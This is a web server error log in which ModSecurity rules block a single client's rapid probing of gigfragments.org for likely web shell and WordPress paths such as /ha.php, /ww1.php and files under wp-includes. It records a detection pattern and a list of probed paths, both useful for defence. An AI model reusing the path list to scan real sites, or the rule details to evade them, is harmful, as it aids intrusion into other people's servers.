[Sat Jan 03 22:37:46.580948 2026] [:error] [pid 1930:tid 1986] [client 4.197.161.255:7100] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/index.php"] [unique_id "aVkpupP-6mqhfUDa89zypwAAAFQ"]
[Sat Jan 03 22:37:47.522509 2026] [:error] [pid 1930:tid 1968] [client 4.197.161.255:19951] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/index.php"] [unique_id "aVkpu5P-6mqhfUDa89zyqgAAAEI"]
[Sat Jan 03 22:37:47.972980 2026] [:error] [pid 31630:tid 31649] [client 4.197.161.255:6977] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/index.php"] [unique_id "aVkpu_UV_PU2SWgLPuhugAAAAZE"]
[Sat Jan 03 22:37:48.328490 2026] [:error] [pid 1930:tid 1966] [client 4.197.161.255:7079] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aVkpvJP-6mqhfUDa89zyqwAAAEA"]
[Sat Jan 03 22:37:49.328707 2026] [:error] [pid 19639:tid 19658] [client 4.197.161.255:7004] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aVkpvSQ7fWZUytnlHEwKowAAAVE"]
[Sat Jan 03 22:37:49.867124 2026] [:error] [pid 1929:tid 1946] [client 4.197.161.255:7067] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aVkpvecFqdpu6TNsuWr-FgAAAAg"]
[Sat Jan 03 22:37:50.754275 2026] [:error] [pid 31222:tid 31228] [client 4.197.161.255:19901] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aVkpvqHw6nASHXAc2v_2swAAAcQ"]
[Sat Jan 03 22:37:52.605482 2026] [:error] [pid 1929:tid 1939] [client 4.197.161.255:19894] [client 4.197.161.255] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aVkpwOcFqdpu6TNsuWr-HAAAAAE"]
[Sat Jan 03 22:37:54.309303 2026] [:error] [pid 34260:tid 34269] [client 4.197.161.255:6989] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aVkpwkWWhyvZ0O9KNVQypQAAAQc"]
[Sat Jan 03 22:37:54.933700 2026] [:error] [pid 34260:tid 34279] [client 4.197.161.255:19885] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aVkpwkWWhyvZ0O9KNVQypwAAARE"]
[Sat Jan 03 22:37:55.275972 2026] [:error] [pid 1930:tid 1989] [client 4.197.161.255:7083] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aVkpw5P-6mqhfUDa89zyrAAAAFc"]
[Sat Jan 03 22:37:56.793874 2026] [:error] [pid 31222:tid 31227] [client 4.197.161.255:7030] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aVkpxKHw6nASHXAc2v_2uQAAAcM"]
[Sat Jan 03 22:37:57.979868 2026] [:error] [pid 31222:tid 31234] [client 4.197.161.255:7080] [client 4.197.161.255] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aVkpxaHw6nASHXAc2v_2vAAAAco"]
[Sat Jan 03 22:37:58.854474 2026] [:error] [pid 19639:tid 19641] [client 4.197.161.255:6996] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aVkpxiQ7fWZUytnlHEwKqAAAAUA"]
[Sat Jan 03 22:37:59.450028 2026] [:error] [pid 1931:tid 2040] [client 4.197.161.255:7142] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aVkpxx8Tyw7ZoIdXlcYWrgAAAJA"]
[Sat Jan 03 22:37:59.535519 2026] [:error] [pid 1931:tid 2032] [client 4.197.161.255:7059] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aVkpxx8Tyw7ZoIdXlcYWrwAAAIg"]
[Sat Jan 03 22:37:59.612952 2026] [:error] [pid 1931:tid 2029] [client 4.197.161.255:7073] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aVkpxx8Tyw7ZoIdXlcYWsAAAAIU"]
[Sat Jan 03 22:37:59.698172 2026] [:error] [pid 34260:tid 34262] [client 4.197.161.255:6992] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aVkpx0WWhyvZ0O9KNVQysQAAAQA"]
[Sat Jan 03 22:38:00.763846 2026] [:error] [pid 34260:tid 34266] [client 4.197.161.255:19865] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aVkpyEWWhyvZ0O9KNVQytAAAAQQ"]
[Sat Jan 03 22:38:01.994592 2026] [:error] [pid 2083:tid 2095] [client 4.197.161.255:7158] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aVkpyTVlR_BmlMPnhV4nWAAAAMo"]
[Sat Jan 03 22:38:02.922523 2026] [:error] [pid 1930:tid 1978] [client 4.197.161.255:7018] [client 4.197.161.255] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/about.php"] [unique_id "aVkpypP-6mqhfUDa89zyrwAAAEw"]
[Sat Jan 03 22:38:04.936754 2026] [:error] [pid 1929:tid 1950] [client 4.197.161.255:19872] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/autoload_classmap.php"] [unique_id "aVkpzOcFqdpu6TNsuWr-IQAAAAw"]
[Sat Jan 03 22:38:05.638773 2026] [:error] [pid 19639:tid 19650] [client 4.197.161.255:6936] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/autoload_classmap.php"] [unique_id "aVkpzSQ7fWZUytnlHEwKqwAAAUk"]
[Sat Jan 03 22:38:06.332514 2026] [:error] [pid 1929:tid 1962] [client 4.197.161.255:7058] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/autoload_classmap.php"] [unique_id "aVkpzucFqdpu6TNsuWr-KQAAABg"]
[Sat Jan 03 22:38:08.325234 2026] [:error] [pid 31222:tid 31235] [client 4.197.161.255:7127] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/autoload_classmap.php"] [unique_id "aVkp0KHw6nASHXAc2v_2yAAAAcs"]
[Sat Jan 03 22:38:08.666359 2026] [:error] [pid 31630:tid 31648] [client 4.197.161.255:7091] [client 4.197.161.255] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aVkp0PUV_PU2SWgLPuhuuAAAAZA"]
[Sat Jan 03 22:38:09.035014 2026] [:error] [pid 1929:tid 1948] [client 4.197.161.255:6978] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww1.php"] [unique_id "aVkp0ecFqdpu6TNsuWr-MAAAAAo"]
[Sat Jan 03 22:38:09.723914 2026] [:error] [pid 31630:tid 31638] [client 4.197.161.255:7050] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww1.php"] [unique_id "aVkp0fUV_PU2SWgLPuhuuwAAAYY"]
[Sat Jan 03 22:38:11.323987 2026] [:error] [pid 31222:tid 31225] [client 4.197.161.255:7114] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww1.php"] [unique_id "aVkp06Hw6nASHXAc2v_20gAAAcE"]
[Sat Jan 03 22:38:12.067198 2026] [:error] [pid 1931:tid 2030] [client 4.197.161.255:6928] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ww1.php"] [unique_id "aVkp1B8Tyw7ZoIdXlcYWuAAAAIY"]
[Sat Jan 03 22:38:12.955840 2026] [:error] [pid 31630:tid 31643] [client 4.197.161.255:7099] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aVkp1PUV_PU2SWgLPuhuwQAAAYs"]
[Sat Jan 03 22:38:14.434171 2026] [:error] [pid 31630:tid 31652] [client 4.197.161.255:7052] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aVkp1vUV_PU2SWgLPuhuxgAAAZQ"]
[Sat Jan 03 22:38:16.576357 2026] [:error] [pid 1929:tid 1953] [client 4.197.161.255:6924] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aVkp2OcFqdpu6TNsuWr-SQAAAA8"]
[Sat Jan 03 22:38:16.964383 2026] [:error] [pid 19639:tid 19662] [client 4.197.161.255:7146] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aVkp2CQ7fWZUytnlHEwKrwAAAVU"]
[Sat Jan 03 22:38:17.676183 2026] [:error] [pid 19639:tid 19658] [client 4.197.161.255:7044] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aVkp2SQ7fWZUytnlHEwKswAAAVE"]
[Sat Jan 03 22:38:19.122596 2026] [:error] [pid 31222:tid 31231] [client 4.197.161.255:7164] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aVkp26Hw6nASHXAc2v_21wAAAcc"]
[Sat Jan 03 22:38:20.418425 2026] [:error] [pid 19639:tid 19656] [client 4.197.161.255:7012] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aVkp3CQ7fWZUytnlHEwKuAAAAU8"]
[Sat Jan 03 22:38:20.819568 2026] [:error] [pid 19639:tid 19657] [client 4.197.161.255:6988] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aVkp3CQ7fWZUytnlHEwKuwAAAVA"]
[Sat Jan 03 22:38:22.163652 2026] [:error] [pid 1929:tid 1939] [client 4.197.161.255:7017] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVkp3ucFqdpu6TNsuWr-UgAAAAE"]
[Sat Jan 03 22:38:23.608530 2026] [:error] [pid 2083:tid 2102] [client 4.197.161.255:7062] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVkp3zVlR_BmlMPnhV4nYQAAANE"]
[Sat Jan 03 22:38:24.557997 2026] [:error] [pid 2083:tid 2093] [client 4.197.161.255:7163] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVkp4DVlR_BmlMPnhV4nYgAAAMg"]
[Sat Jan 03 22:38:25.071854 2026] [:error] [pid 1929:tid 1941] [client 4.197.161.255:6917] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aVkp4ecFqdpu6TNsuWr-WAAAAAM"]
[Sat Jan 03 22:38:26.548170 2026] [:error] [pid 2083:tid 2086] [client 4.197.161.255:19922] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aVkp4jVlR_BmlMPnhV4nYwAAAME"]
[Sat Jan 03 22:38:28.863233 2026] [:error] [pid 1931:tid 2041] [client 4.197.161.255:7054] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aVkp5B8Tyw7ZoIdXlcYWzwAAAJE"]
[Sat Jan 03 22:38:30.416374 2026] [:error] [pid 2083:tid 2100] [client 4.197.161.255:7006] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aVkp5jVlR_BmlMPnhV4nawAAAM8"]
[Sat Jan 03 22:38:32.920393 2026] [:error] [pid 2083:tid 2103] [client 4.197.161.255:6932] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aVkp6DVlR_BmlMPnhV4ncgAAANI"]
[Sat Jan 03 22:38:42.412908 2026] [:error] [pid 31630:tid 31641] [client 4.197.161.255:19950] [client 4.197.161.255] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.197.161.255, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aVkp8vUV_PU2SWgLPuhu3AAAAYk"]
[Sat Jan 03 22:38:44.847713 2026] [autoindex:error] [pid 1931:tid 2041] [client 4.197.161.255:7021] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 03 22:38:46.039514 2026] [:error] [pid 1931:tid 2043] [client 4.197.161.255:7021] [client 4.197.161.255] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aVkp9h8Tyw7ZoIdXlcYW9AAAAJM"]
[Sat Jan 03 22:38:48.536007 2026] [autoindex:error] [pid 19639:tid 19652] [client 4.197.161.255:19848] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Jan 03 22:39:17.536877 2026] [:error] [pid 31630:tid 31638] [client 4.197.161.255:19855] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aVkqFfUV_PU2SWgLPuhu8wAAAYY"]
[Sat Jan 03 22:39:18.834047 2026] [:error] [pid 31630:tid 31634] [client 4.197.161.255:7077] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aVkqFvUV_PU2SWgLPuhu9QAAAYI"]
[Sat Jan 03 22:39:21.085835 2026] [:error] [pid 1929:tid 1948] [client 4.197.161.255:19953] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aVkqGecFqdpu6TNsuWr_EwAAAAo"]
[Sat Jan 03 22:39:23.179348 2026] [:error] [pid 19639:tid 19655] [client 4.197.161.255:19908] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aVkqGyQ7fWZUytnlHEwK4gAAAU4"]
[Sat Jan 03 22:39:25.356795 2026] [:error] [pid 1931:tid 2036] [client 4.197.161.255:19866] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aVkqHR8Tyw7ZoIdXlcYXMQAAAIw"]
